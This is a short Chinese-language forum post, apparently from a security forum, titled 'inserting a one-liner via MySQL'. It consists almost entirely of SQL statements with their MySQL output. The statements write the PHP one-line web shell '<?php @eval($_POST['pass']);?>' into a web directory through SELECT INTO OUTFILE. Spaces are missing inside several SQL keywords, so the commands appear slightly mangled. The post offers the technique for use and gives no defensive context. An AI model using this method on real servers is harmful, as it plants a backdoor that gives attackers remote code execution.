goback add

通过mysql插入一句话

3563 点击·0 回帖
灯火互联
楼主
SEtest;# MySQL 返回的查询结果为空(即零行)。
DROPTABLEIFEXISTStemp;# MySQL 返回的查询结果为空(即零行)。
CREATETABLEtemp(

cmdTEXTNOTNULL
);# MySQL 返回的查询结果为空(即零行)。
INSERTINTOtemp(cmd)
VALUES(

'<?php @eval($_POST['pass']);?>'
);# 影响列数: 1
SELECTcmd
FROMtemp
INTOOUTFILE'/home/htdocs/eval.php';# 影响列数: 1
DROPTABLEIFEXISTStemp;# MySQL 返回的查询结果为空(即零行)。

喜欢0 评分0